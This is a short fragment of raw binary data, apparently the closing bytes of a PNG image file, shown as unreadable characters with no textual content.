y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`